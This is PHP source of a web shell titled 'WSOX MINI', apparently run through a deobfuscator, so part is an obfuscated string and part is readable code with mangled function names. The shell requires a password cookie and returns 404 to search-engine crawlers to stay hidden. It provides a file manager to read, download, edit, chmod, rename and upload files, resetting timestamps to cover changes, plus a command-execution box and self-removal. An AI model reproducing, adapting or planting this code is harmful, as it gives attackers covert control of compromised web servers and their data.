H:i:s\",@FilemtIMe(\$GLOBALS[\"cwd\"].\$_zka[\$_wvlc])),\"perms\"=>_\xc4\xa6(\$GLOBALS[\"cwd\"].\$_zka[\$_wvlc]),\"size\"=>@fILeSIze(\$GLOBALS[\"cw\\144\"].\$_zka[\$_wvlc]),\"owner\"=>\$_dirj[\"name\"]?\$_dirj[\"\\x6eame\"]:@fileOwner(\$_zka[\$_wvlc]),\"group\"=>\$_vk[\"name\"]?\$_vk[\"name\"]:@FIlEgROUP(\$_zka[\$_wvlc]));if(@is_fiLE(\$GLOBALS[\"\\143wd\"].\$_zka[\$_wvlc]))\$_jsm[]=arraY_MeRGE(\$_mok,array(\"type\"=>\"\\146ile\"));elseif(@Is_LINK(\$GLOBALS[\"cwd\"].\$_zka[\$_wvlc]))\$_tge[]=Array_Merge(\$_mok,array(\"type\"=>\"link\",\"\\154ink\"=>rEADLiNk(\$_mok[\"path\"])));elseif(@IS_dir(\$GLOBALS[\"cwd\"].\$_zka[\$_wvlc]))\$_tge[]=ArRAy_mErgE(\$_mok,array(\"type\"=>\"dir\"));}\$GLOBALS[\"sor\\164\"]=\$sort;function Wcmp(\$_av,\$_wr){return strCMP(strtOlOweR(\$_av[\$GLOBALS[\"sor\\x74\"][266- -235+-501]]),sTRtOLOWer(\$_wr[\$GLOBALS[\"sort\"][-376+376]]))*(\$GLOBALS[\"s\\157rt\"][(int)round(0.5+0.5)]?278+-321+44:-(int)round(0.33333333333333+0.33333333333333+0.33333333333333));}USoRt(\$_jsm,\"wC\\x6dp\");USOrT(\$_tge,\"wC\\x6dp\");\$_jsm=aRRAY_MeRge(\$_tge,\$_jsm);\$_wkfe=(70- -168+-238);foreach(\$_jsm as\$_xw){\$_otf=sTR_ROt13(URLeNCOdE(\$_xw[\"name\"]));echo\"<tr\".(\$_wkfe?\" class=l1\":\"\").\"><td><input ty\\160e=checkb\\x6fx name\\075\\x22f[]\\042 val\\165e=\\042\".\$_otf.\"\\042 \\x63lass=chkbx></td><td><a href=# onclick=\\x22\".((\$_xw[\"type\"]==\"f\\151le\")?\"g(\\047ft',n\\165ll,'\".\$_otf.\"\\047\\x2c\\x20'view')\\042>\".htmLspECIALCHaRS(\$_xw[\"\\x6eame\"]):\"g('fm'\\054'\".Str_rOt13(\$_xw[\"pat\\150\"]).\"');\\x22 \".(empty(\$_xw[\"link\"])?\"\":\"title='\".\$_xw[\"link\"].\"'\").\"><b>[ \".hTMlspEcIaLCHArs(\$_xw[\"name\"]).\" ]</\\142>\").\"\\074\\x2fa></td><td>\".((\$_xw[\"type\"]==\"file\")?_\x85\xda\xd0(\$_xw[\"size\"]):\$_xw[\"type\"]).\"<\\x2ftd><td>\".\$_xw[\"modify\"].\"</td><td>\".\$_xw[\"owner\"].\"/\".\$_xw[\"gr\\x6fup\"].\"</td><\\164d><a href=\\x23 onclick=\\042g('ft',null,'\".\$_otf.\"','\\143hmod')\\x22>\".\$_xw[\"perms\"].\"</td><td\\x3e\\074a href=\\042\\x23\\x22 onc\\x6cick=\\042g\\x28'ft',null,'\".\$_otf.\"',\\x20'\\x72enam\\145')\\042>\\122</a> <a href=\\x22#\\x22 onclic\\153=\\042g('ft',null,'\".\$_otf.\"', 'tou\\143h')\\x22>\\124<\\057a>\".((\$_xw[\"type\"]==\"file\")?\" <a href=\\042#\\042 onclick=\\x22g(\\047ft',null,'\".\$_otf.\"\\047\\054\\040'e\\144i\\x74')\\x22>\\105</\\x61> <a href=\\x22#\\x22\\x20onclick\\075\\042g('ft',null,'\".\$_otf.\"', 'download')\\042>D</a>\":\"\").\"</td></tr>\";\$_wkfe=\$_wkfe?470- -354+-824:(int)round(0.5+0.5);}echo\"<tr><td\\x20colspan=7>\\015\\x0a\\x09<in\\x70ut \\164ype=hi\\144\\x64en name=a val\\x75e='\\x66m'>\\015\\x0a\\011<input\\x20type=hidden name=c v\\141lue='\".hTMLsPECIAlchars(sTr_rOT13(\$GLOBALS[\"cwd\"])).\"'\\076\\x0d\\012\\x09<i\\156put type=hidd\\x65n name=ch\\x20value=\\047\".(isset(\$_POST[\"ch\"])?\$_POST[\"ch\"]:\"\").\"'>\\x0d\\x0a\\x09<se\\x6cect \\156ame='p'><option value='delete'>D\\145lete</option>\";echo\"</select> \";echo\"<input type='submit\\047 value='>>'></td></t\\162></f\\x6fr\\155></tab\\x6c\\x65\\x3e</div>\";_\xdb\x96\x98\xd2();}function ActiOnFt(){if(isset(\$_POST[\"p\"]))\$_POST[\"p\"]=StR_rOT13(uRLdeCODE(\$_POST[\"p\"]));if(isset(\$_POST[\"x\"])){switch(\$_POST[\"x\"]){case \"downlo\\x61d\":if(@is_fIlE(\$_POST[\"\\x70\"])&&@iS_reaDABlE(\$_POST[\"p\"])){OB_StarT(\"ob_gzhandler\",(int)round(2048+2048));HEADer(\"Content-Dispo\\x73ition: attac\\150ment;\\x20\\146ilenam\\x65=\".BAsEnAme(\$_POST[\"p\"]));if(fUnctioN_eXIsTS(\"mime_content_typ\\145\")){\$_qhh=@MIme_ConTent_TYpe(\$_POST[\"p\"]);HEAdeR(\"Cont\\145nt-Type: \".\$_qhh);}else HEAder(\"Content-Type: appl\\x69\\143atio\\x6e/\\x6fctet-stream\");\$_tdtc=@fopEn(\$_POST[\"p\"],\"r\");if(\$_tdtc){while(!@FEOF(\$_tdtc))echo @FgetS(\$_tdtc,966- -58);fcloSe(\$_tdtc);}}exit;break;case \"mkfile\":if(!FILE_eXiSts(\$_POST[\"p\"])){\$_ujhi=@filemtImE(\$_POST[\"c\"]);\$_tdtc=@FOpEN(\$_POST[\"\\160\"],\"w\");if(\$_tdtc){\$_POST[\"x\"]=\"edit\";FCLOSE(\$_tdtc);if(\$_ujhi){tOUch(\$_POST[\"c\"],\$_ujhi,\$_ujhi);touCh(\$_POST[\"p\"],\$_ujhi,\$_ujhi);}}}break;}}_\xd8\x89\x92();echo\"<h1>File t\\x6f\\157ls</h1\\x3e\\x3cdiv cla\\x73s=content>\";if(!fIlE_exIStS(\$_POST[\"p\"])){echo\"Fi\\x6ce not exis\\164s\";_\xdb\x96\x98\xd2();return;}\$_mkds=@posIx_GEtpwuiD(@fIleoWner(\$_POST[\"p\"]));if(!\$_mkds){\$_mkds[\"name\"]=@fIlEOwner(\$_POST[\"p\"]);\$_ltxp[\"name\"]=@FiLEgrOup(\$_POST[\"p\"]);}else \$_ltxp=@POsIX_GeTgrGiD(@FIlegrOUp(\$_POST[\"p\"]));echo\"<span>Name:</span> \".hTmlSpeCiALchars(@BAsEnAme(\$_POST[\"p\"])).\" <span>Size:</sp\\141n> \".(IS_FIle(\$_POST[\"p\"])?_\x85\xda\xd0(FIlESizE(\$_POST[\"p\"])):\"-\").\"\\040<\\163\\160an>\\x50ermi\\163sion:<\\057span>\\040\"._\xc4\xa6(\$_POST[\"p\"]).\" <span>\\117wner\\x2fGroup:</span>\\x20\".\$_mkds[\"name\"].\"/\".\$_ltxp[\"n\\141me\"].\"<br>\";echo\"<span>Chan\\x67e time:</sp\\x61n> \".dAtE(\"Y-m-d H:i:s\",FILeCTimE(\$_POST[\"p\"])).\" <span>Access time:</span> \".DATE(\"Y-m-\\144 \\110:i:s\",FiLEAtimE(\$_POST[\"p\"])).\" <span>Modify time:</span> \".DatE(\"Y-m-d H:i:s\",fIleMtImE(\$_POST[\"p\"])).\"<br>\\074br>\";if(empty(\$_POST[\"x\"]))\$_POST[\"x\"]=\"view\";if(is_file(\$_POST[\"p\"]))\$_el=array(\"View\",\"D\\x6fwnl\\x6fa\\144\",\"Edit\",\"\\103h\\155od\",\"R\\145n\\141me\",\"Touch\");else \$_el=array(\"Chmod\",\"\\x52ename\",\"\\x54ouch\");foreach(\$_el as\$_kg)echo\"<a hre\\x66\\x3d# onclick=\\x22g(nu\\x6cl,null,\\047\".urLeNCoDE(STR_rOt13(\$_POST[\"p\"])).\"',\\x27\".Strtolower(\$_kg).\"\\x27)\\042\\x3e\".((sTRtOLoWer(\$_kg)==\$_POST[\"x\"])?\"<b>[ \".\$_kg.\" ]</b>\":\$_kg).\"</a\\076 \";echo\"<br><br\\x3e\";switch(\$_POST[\"x\"]){case \"view\":echo\"\\074pre c\\x6ca\\x73s=ml1>\";\$_tdtc=@fopEn(\$_POST[\"p\"],\"r\");if(\$_tdtc){while(!@FEOF(\$_tdtc))echo hTMLspECiaLcHARs(@fGeTS(\$_tdtc,487-872- -1409));@FcLosE(\$_tdtc);}echo\"\\x3c/pre>\";break;case \"chm\\x6fd\":if(!empty(\$_POST[\"s\"])){\$_dghz=(int)round(0+0+0);for(\$_wvlc=StRLEn(\$_POST[\"s\"])-(int)round(0.5+0.5);\$_wvlc>=(int)round(0+0);--\$_wvlc)\$_dghz+=(int)\$_POST[\"s\"][\$_wvlc]*poW(-5- -13,(StrLEn(\$_POST[\"s\"])-\$_wvlc-(-37+38)));if(!@ChmOd(\$_POST[\"p\"],\$_dghz))echo\"Can't \\x73e\\x74 permissions!<br><sc\\x72ipt>d\\x6fcume\\x6et.mf.s.value\\x3d\\x22\\x22;<\\057scrip\\x74>\";}cLeArsTATcaChe();echo\"<script>s_=\\042\\042;</script><form onsubm\\x69t=\\x22g(n\\165ll,null,'\".urlENCoDE(stR_Rot13(\$_POST[\"p\"])).\"',null,this.ch\\155od.value);return \\146a\\x6cse;\\042><inp\\165t type=text name=chmod valu\\145=\\042\".subSTr(SPRiNTF(\"%o\",filEPeRMS(\$_POST[\"p\"])),-(181-177)).\"\\x22><input type=s\\165bmit value=\\x22>>\\042></form>\";break;case \"edit\":if(!IS_wRitAblE(\$_POST[\"p\"])){echo\"File \\151sn't writ\\145able\";break;}if(!empty(\$_POST[\"s\"])){\$_rdbd=@FILemtIMe(\$_POST[\"p\"]);\$_POST[\"s\"]=SUbstr(\$_POST[\"s\"],(int)round(0.5+0.5));\$_POST[\"s\"]=baSE64_dECoDe(\$_POST[\"s\"]);\$_tdtc=@FOPen(\$_POST[\"p\"],\"w\");if(\$_tdtc){@fputs(\$_tdtc,\$_POST[\"\\x73\"]);@FClOSe(\$_tdtc);echo\"Sa\\x76ed!<b\\162><script>s_=\\x22\\x22;</sc\\x72\\151pt>\";}}echo\"<form\\040ons\\x75bmit=\\042\\147(null,null,'\".UrLenCoDE(sTr_Rot13(\$_POST[\"p\"])).\"',null\\054\\x271'+uto\\x61\\x28this.tex\\164.value));return false\\073\\042><textarea nam\\x65=te\\170t class=bigarea>\";\$_tdtc=@FOpen(\$_POST[\"\\160\"],\"r\");if(\$_tdtc){while(!@feOf(\$_tdtc))echo HtmLsPeCIAlcHArS(@fgETS(\$_tdtc,1218+-194));@FClOse(\$_tdtc);}echo\"</textarea><i\\x6eput \\164ype\\x3dsu\\x62mi\\164 value=\\x22\\123ave\\x22></form>\";if(\$_rdbd)TOUcH(\$_POST[\"p\"],\$_rdbd,\$_rdbd);break;case \"rename\":\$_ujhi=@fILeMTImE(\$_POST[\"c\"]);if(!empty(\$_POST[\"s\"])){if(!@RenAMe(\$_POST[\"p\"],stR_ROt13(\$_POST[\"s\"])))echo\"Can\\047t\\040rename!<br\\076\";else{if(\$_ujhi)ToUCH(\$_POST[\"c\"],\$_ujhi,\$_ujhi);die(\"<scri\\x70\\164>g(null,null,\\042\".UrLenCODe(\$_POST[\"s\"]).\"\\x22,null,\\x22\\042)</script>\");}}echo\"<for\\155 onsubmit=\\x22g(nu\\154l,null,'\".UrlENCoDE(sTR_Rot13(\$_POST[\"p\"])).\"',null\\054r\\x6f\\16413(this.nam\\145\\x2eva\\x6cue));retu\\162n false;\\042><inp\\165t type=text name=name val\\165e=\\x22\".htMLSPeCIAlcharS(\$_POST[\"p\"]).\"\\x22><\\151\\x6eput t\\171pe=submit value=\\x22>>\\042><\\x2ffor\\155>\";break;case \"to\\x75ch\":if(!empty(\$_POST[\"s\"])){\$_rdbd=stRTOTImE(\$_POST[\"s\"]);if(\$_rdbd){if(!TOuCH(\$_POST[\"p\"],\$_rdbd,\$_rdbd))echo\"Fa\\x69l!\";else echo\"T\\x6fuched!\";}else echo\"Bad time fo\\162mat!\";}CleArSTatcACHe();echo\"<script>s_=\\x22\\x22;</\\163c\\162\\151pt\\x3e<form onsubmit=\\x22g(null,null,'\".uRLeNCOde(STR_roT13(\$_POST[\"p\"])).\"',n\\165ll,this.touch.value);r\\145\\164urn\\x20false;\\042><input t\\x79pe=text \\156a\\155e=touc\\150 v\\141lue=\\042\".DAtE(\"Y-m-d\\040H:i:s\",@FilEmtIMe(\$_POST[\"p\"])).\"\\x22\\076<in\\160ut type=submi\\164 value=\\042>>\\042></f\\157r\\155>\";break;}echo\"</div>\";_\xdb\x96\x98\xd2();}function acTiOnLogout(){SetCoOkIe(\$GLOBALS[\"coo\\153\"],\"\",TiME()-(int)round(1800+1800));die(\"bye!\");}function _\xaf\x80\x9b(){if(\$_POST[\"p\"]==\"yes\")if(@UNLinK(PreG_replace(\"!\\134(\\x5cd+\\x5c)\\134s\\056\\052!\",\"\",__FILE__)))die(\"Shell has \\x62een rem\\157ved\");else echo\"unlink error\\x21\";if(\$_POST[\"p\"]!=\"yes\")_\xd8\x89\x92();echo\"<h1>S\\x75ici\\144e</h1><di\\166 \\x63lass=content>Real\\x6cy want \\164o remo\\166e\\x20the \\163hell?\\x3cbr><a\\x20h\\x72ef=# \\x6fnclick=\\042g(\\156ull,null,'yes')\\042>\\x59es</a></div>\";_\xdb\x96\x98\xd2();}if(empty(\$_POST[\"a\"]))if(isset(\$_smp)&&FUncTiON_eXISTS(\"a\\x63tion\".\$_smp))\$_POST[\"a\"]=\$_smp;if(!empty(\$_POST[\"a\"])&&FUNction_EXIstS(\"action\".\$_POST[\"a\"]))CAll_user_FUNc(\"action\".\$_POST[\"a\"]);exit;";
echo "{${eval /* PHPDeobfuscator eval output */ {
    $ps = "de918f6ea2e9479ed9d81a8147dbae3d";
    $_vza = "#df5";
    $_smp = "fm";
    $default_charset = "Windows-1251";
    if (!empty($_SERVER["HTTP_USER_AGENT"])) {
        $_wejg = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
        if (@Preg_mATcH("/" . join("|", $_wejg) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
            HEADEr("HTTP/1.0 404 Not Found");
            exit;
        }
    }
    if (FuNCtioN_exIsTS("version_compare") && FuNCTIoN_ExISts("phpversion")) {
        if (VeRsiON_cOMPARe(pHPVersIOn(), "5.4.0", "<")) {
            @magic_quotes_runtime((int) round(0));
        }
    }
    if (FunctioN_EXisTs("get_magic_quotes_gpc") && FUncTion_ExISTs("array_map") && FunctION_EXIsTs("stripslashes")) {
        if (get_MaGic_qUoTEs_GpC()) {
            function wSs($_tu)
            {
                return IS_ArRAY($_tu) ? arrAy_Map("WSS", $_tu) : STriPSlAsHeS($_tu);
            }
            $_POST = wSS($_POST);
            $_COOKIE = wSS($_COOKIE);
        }
    }
    function _()
    {
        die("<form method=post><input type=password name=ps><input type=submit value='>>'></form>");
    }
    function _($_lyfl, $_kg)
    {
        $_COOKIE[$_lyfl] = $_kg;
        SETCOOKie($_lyfl, $_kg);
    }
    if (!empty($ps)) {
        $cook = suBstR(Md5($_SERVER["HTTP_HOST"]), (int) round(0), 3);
        if (isset($_POST["ps"]) && md5($_POST["ps"]) == $ps) {
            _($cook, $ps);
        }
        if (!isset($_COOKIE[$cook]) || $_COOKIE[$cook] != $ps) {
            _();
        }
    }
    if (sTrTOlOWeR(SuBstr(PHP_OS, 0, 3)) == "win") {
        $os = "win";
    } else {
        $os = "nix";
    }
    if (functiOn_EXiSTS("ini_get")) {
        $safe_mode = @INI_Get("safe_mode");
        $disable_functions = @Ini_gET("disable_functions");
    }
    if (fUNCtion_eXIsTs("getcwd")) {
        $home_cwd = @gEtCWD();
    } else {
        $home_cwd = @DIRnAME("/var/www/html/input.php");
    }
    if (isset($_POST["c"]) && $_POST["c"] != "") {
        $_POST["c"] = Str_roT13($_POST["c"]);
    }
    if (isset($_POST["c"])) {
        if (FunCTiOn_ExISTS("chdir")) {
            @ChDIr($_POST["c"]);
        }
    }
    if (fuNCTioN_EXIsTS("getcwd")) {
        $cwd = @GETCwD();
    } elseif (isset($_POST["c"]) && $_POST["c"] != "") {
        $cwd = $_POST["c"];
    } else {
        $cwd = $home_cwd;
    }
    if ($os == "win") {
        $home_cwd = Str_rEpLAcE("\\", "/", $home_cwd);
        $cwd = STr_rEPlaCE("\\", "/", $cwd);
    }
    if ($cwd[stRLeN($cwd) - (int) round(0.99999999999999)] != "/") {
        $cwd .= "/";
    }
    function _؉()
    {
        if (empty($_POST["ch"])) {
            $_POST["ch"] = $GLOBALS["default_charset"];
        }
        global $_vza;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST["ch"] . "'><title>" . $_SERVER["HTTP_HOST"] . " - WSOX MINI</title>\r\n<style>\r\nbody{background-color:#444;color:#e1e1e1;}\r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\r\ntable.info{ color:#fff;background-color:#222; }\r\nspan,h1,a{ color: " . $_vza . " !important; }\r\nspan{ font-weight: bolder; }\r\nspan.wfw{font-weight:normal;}\r\nh1{ border-left:5px solid " . $_vza . ";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:300px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid " . $_vza . "; font: 9pt Monospace,'Courier New'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#5e5e5e;}\r\n.main tr:hover{background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n</style>\r\n<script>\r\n    var c_ = '" . HTMlSpeCIaLChaRS(str_ROT13($GLOBALS["cwd"])) . "';\r\n    var a_ = '" . HTmlSpeCiAlcharS($_POST["a"]) . "'\r\n    var ch_ = '" . hTmlSPeCiALcHars($_POST["ch"]) . "';\r\n    var p_ = '" . (sTRpOs($_POST["p"], "\n") !== false ? "" : HTmlSpEciAlCHarS($_POST["p"], 3)) . "';\r\n    var x_ = '" . (sTRpOs($_POST["x"], "\n") !== false ? "" : HTMLSpeCIAlChaRS($_POST["x"], 3)) . "';\r\n    var s_ = '" . (Strpos($_POST["s"], "\n") !== false ? "" : HTMlSPEcIaLchARS($_POST["s"], 3)) . "';\r\n    var d = document;\r\n\tfunction set(a,c,p,x,s,ch) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p!=null)d.mf.p.value=p;else d.mf.p.value=p_;\r\n\t\tif(x!=null)d.mf.x.value=x;else d.mf.x.value=x_;\r\n\t\tif(s!=null)d.mf.s.value=s;else d.mf.s.value=s_;\r\n\t\tif(ch!=null)d.mf.ch.value=ch;else d.mf.ch.value=ch_;\r\n\t}\r\n\tfunction g(a,c,p,x,s,ch) {\r\n\t\tset(a,c,p,x,s,ch);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction utoa(str) {\r\n\t\treturn window.btoa(unescape(encodeURIComponent(str)));\r\n\t}\r\n\tfunction atou(str) {\r\n\t\treturn decodeURIComponent(escape(window.atob(str)));\r\n\t}\r\n\tfunction rot13(str) {\r\n\t  var input     = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\r\n\t  var output    = 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm';\r\n\t  var index     = x => input.indexOf(x);\r\n\t  var translate = x => index(x) > -1 ? output[index(x)] : x;\r\n\t  return str.split('').map(translate).join('');\r\n\t}\r\n\tvar cvis = false;\r\n\tfunction show(){\r\n\t\tif(!cvis) {\r\n\t\t\tdocument.getElementById('bat').innerHTML = 'Links';\r\n\t\t\tdocument.getElementById('cwd').style.display = 'inline';\r\n\t\t\tdocument.getElementById('links').style.display = 'none';\r\n\t\t\tcvis = true;\r\n\t\t} else {\r\n\t\t\tdocument.getElementById('bat').innerHTML = 'Text';\r\n\t\t\tdocument.getElementById('cwd').style.display = 'none';\r\n\t\t\tdocument.getElementById('links').style.display = 'inline';\t\r\n\t\t\tcvis = false;\r\n\t\t}\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p>\r\n<input type=hidden name=x>\r\n<input type=hidden name=s>\r\n<input type=hidden name=ch>\r\n</form>";
        if (fUncTIoN_EXISTS("diskfreespace")) {
            $_rw = @disKFrEespace($GLOBALS["cwd"]);
        }
        if (fUncTIOn_exIsts("disk_total_space")) {
            $_jl = @dISk_TOtAL_sPaCe($GLOBALS["cwd"]);
        }
        $_jl = $_jl ? $_jl : 1;
        if (fUnctION_exISts("php_uname")) {
            $_mfvu = @PHp_uName();
            $_ubac = @PhP_UNaME("r");
            $_bmh = @Php_UName("s");
        }
        if (!FUNCTIOn_eXiSTS("posix_getegid")) {
            if (funcTiOn_ExIsTS("get_current_user")) {
                $_hb = @gEt_cuRREnt_uSer();
            }
            if (fuNCtiOn_ExIsTS("getmyuid")) {
                $_mkds = @gEtMyuId();
            }
            if (fuNcTioN_EXISTs("getmygid")) {
                $_ltxp = @getmygid();
            }
            $_vx = "?";
        } else {
            $_mkds = @poSIx_GETPWUId(@pOSiX_gEteUiD());
            $_ltxp = @poSIX_getgRGid(@posiX_GETEgiD());
            $_hb = $_mkds["name"];
            $_mkds = $_mkds["uid"];
            $_vx = $_ltxp["name"];
            $_ltxp = $_ltxp["gid"];
        }
        if (fUnctIoN_exIsTS("mb_detect_encoding") && FuNcTioN_ExIsTS("iconv")) {
            if (@Mb_dEtEct_EncODIng($_hb, "Windows-1251")) {
                $_hb = @Iconv("Windows-1251", "UTF-8", $_hb);
            }
        }
        $cwd_links = "";
        $_cm = ExpLoDE("/", $GLOBALS["cwd"]);
        $_pfy = CoUnT($_cm);
        for ($_wvlc = (int) round(0); $_wvlc < $_pfy - (int) round(1.0); $_wvlc++) {
            $cwd_links .= "<a href='#' onclick='g(\"fm\",\"";
            for ($_ra = (int) round(0); $_ra <= $_wvlc; $_ra++) {
                $cwd_links .= StR_rOT13($_cm[$_ra]) . "/";
            }
            $cwd_links .= "\",\"\",\"\")'>" . $_cm[$_wvlc] . "/</a>";
        }
        $_fv = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866");
        $_oai = "";
        foreach ($_fv as $_iq) {
            $_oai .= "<option value=\"" . $_iq . "\" " . ($_POST["ch"] == $_iq ? "selected" : "") . ">" . $_iq . "</option>";
        }
        $_el = array("Files" => "fm");
        if (!empty($GLOBALS["ps"])) {
            $_el["Logout"] = "Logout";
        }
        $_el["Self remove"] = "SelfRemove";
        $_ubi = "";
        foreach ($_el as $_lyfl => $_kg) {
            $_ubi .= "<th width=\"" . (int) ((int) round(100) / cOUNt($_el)) . "%\">[ <a href=\"#\" onclick=\"g('" . $_kg . "',null,'','','')\">" . $_lyfl . "</a> ]</th>";
        }
        $drives = "";
        if ($GLOBALS["os"] == "win") {
            foreach (ranGe("c", "z") as $drive) {
                if (IS_dIR($drive . ":\\")) {
                    $drives .= "<a href=\"#\" onclick=\"g('fm','" . stR_rOt13($drive) . ":/')\">[ " . $drive . " ]</a> ";
                }
            }
        }
        echo "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:" . ($GLOBALS["os"] == "win" ? "<br>Drives:" : "") . "</span></td>" . "<td><nobr>" . ($_mfvu ? suBStR($_mfvu, (int) round(0), 120) : "N/A") . "</nobr><br>" . $_mkds . " ( " . $_hb . " ) <span>Group:</span> " . $_ltxp . " ( " . $_vx . " )<br>" . @PHPVeRsIon() . " <span>Safe mode:</span> " . ($GLOBALS["safe_mode"] ? "<font color=red>ON</font>" : "<font color=green><b>OFF</b></font>") . " <a href=# onclick=\"g('Php',null,'','info')\">[ phpinfo ]</a> <span>Datetime:</span> " . daTE("Y-m-d H:i:s") . "<br>" . ($_jl ? _($_jl) : "") . " <span>Free:</span> " . ($_rw ? _($_rw) : "") . " (" . ($_rw && $_jl ? (int) ($_rw / $_jl * 100) : "0") . "%)<br><span id=\"links\" class=\"wfw\">" . $cwd_links . " " . _Ħ($GLOBALS["cwd"]) . " <a href=# onclick=\"g('fm','" . StR_rot13($GLOBALS["home_cwd"]) . "','','','')\">[ home ]</a></span><span id=\"cwd\" style=\"display: none;\" class=\"wfw\"><input size=" . (strLEN($GLOBALS["cwd"]) + (int) round(6)) . " type=text value=\"" . $GLOBALS["cwd"] . "\"></span> <a href=# onclick=\"show();\"><font color=#fff id=\"bat\">Text</font></a><br>" . $drives . "</td>" . "<td width=1 align=right><nobr><select onchange=\"g(null,null," . (!empty($_POST["p"]) ? "'" . STr_rot13($_POST["p"]) . "'" : "null") . ",null,null,this.value)\"><optgroup label=\"Page charset\">" . $_oai . "</optgroup></select><br><span>Server IP:</span><br>" . $_SERVER["SERVER_ADDR"] . "<br><span>Client IP:</span><br>" . $_SERVER["REMOTE_ADDR"] . "</nobr></td></tr></table>" . "<table style=\"border-top:2px solid #333;\" cellpadding=3 cellspacing=0 width=100%><tr>" . $_ubi . "</tr></table><div style=\"margin:5\">";
    }
    function _ۖ()
    {
        $_ue = is_WriTaBlE($GLOBALS["cwd"]) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
        echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>\r\n\t<tr>\r\n\t\t<td><form onsubmit='g(null,rot13(this.c.value),\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlSpeCIAlcHaRs($GLOBALS["cwd"]) . "'><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"g('ft',null,rot13(this.f.value));return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"g('fm',null,'mkdir',rot13(this.d.value));return false;\"><span>Make dir:</span>" . $_ue . "<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"g('ft',null,rot13(this.f.value),'mkfile');return false;\"><span>Make file:</span>" . $_ue . "<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"g('ce',null,utoa(this.c.value));return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\r\n\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='fm'>\r\n\t\t<input type=hidden name=c value='" . sTR_rot13($GLOBALS["cwd"]) . "'>\r\n\t\t<input type=hidden name=p value='uploadFile'>\r\n\t\t<input type=hidden name=ch value='" . (isset($_POST["ch"]) ? $_POST["ch"] : "") . "'>\r\n\t\t<span>Upload file:</span>" . $_ue . "<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>\r\n\t</tr></table></div></body></html>";
    }
    if (!funCTIon_existS("posix_getpwuid") && sTrPOS($GLOBALS["disable_functions"], "posix_getpwuid") === false) {
        function POSiX_GEtPwUID($_hp)
        {
            return false;
        }
    }
    if (!fuNcTioN_exiStS("posix_getgrgid") && STRPOS($GLOBALS["disable_functions"], "posix_getgrgid") === false) {
        function PoSIx_gETgRGid($_hp)
        {
            return false;
        }
    }
    function _($_hu)
    {
        if (Is_InT($_hu)) {
            $_hu = sprInTF("%u", $_hu);
        }
        if ($_hu >= (int) round(1073741823.99999)) {
            return SPrInTF("%1.2f", $_hu / 1073741824) . " GB";
        } elseif ($_hu >= (int) round(1048575.99999999)) {
            return spRINTF("%1.2f", $_hu / (int) round(1048575.99999999)) . " MB";
        } elseif ($_hu >= 1024) {
            return spRInTf("%1.2f", $_hu / 1024) . " KB";
        } else {
            return $_hu . " B";
        }
    }
    function _($_hp)
    {
        if (($_hp & 49152) == 49152) {
            $_wvlc = "s";
        } elseif (($_hp & (int) round(40960)) == (int) round(40960)) {
            $_wvlc = "l";
        } elseif (($_hp & (int) round(32768)) == (int) round(32768.000000001004)) {
            $_wvlc = "-";
        } elseif (($_hp & 24576) == (int) round(24576)) {
            $_wvlc = "b";
        } elseif (($_hp & 16384) == (int) round(16384)) {
            $_wvlc = "d";
        } elseif (($_hp & 8192) == (int) round(8192.0000000001)) {
            $_wvlc = "c";
        } elseif (($_hp & 4096) == 4096) {
            $_wvlc = "p";
        } else {
            $_wvlc = "u";
        }
        $_wvlc .= $_hp & (int) round(255.999999999999) ? "r" : "-";
        $_wvlc .= $_hp & 128 ? "w" : "-";
        $_wvlc .= $_hp & (int) round(63.999999999999005) ? $_hp & (int) round(2048) ? "s" : "x" : ($_hp & 2048 ? "S" : "-");
        $_wvlc .= $_hp & (int) round(32.000000000001) ? "r" : "-";
        $_wvlc .= $_hp & 16 ? "w" : "-";
        $_wvlc .= $_hp & (int) round(8) ? $_hp & 1024 ? "s" : "x" : ($_hp & 1024 ? "S" : "-");
        $_wvlc .= $_hp & 4 ? "r" : "-";
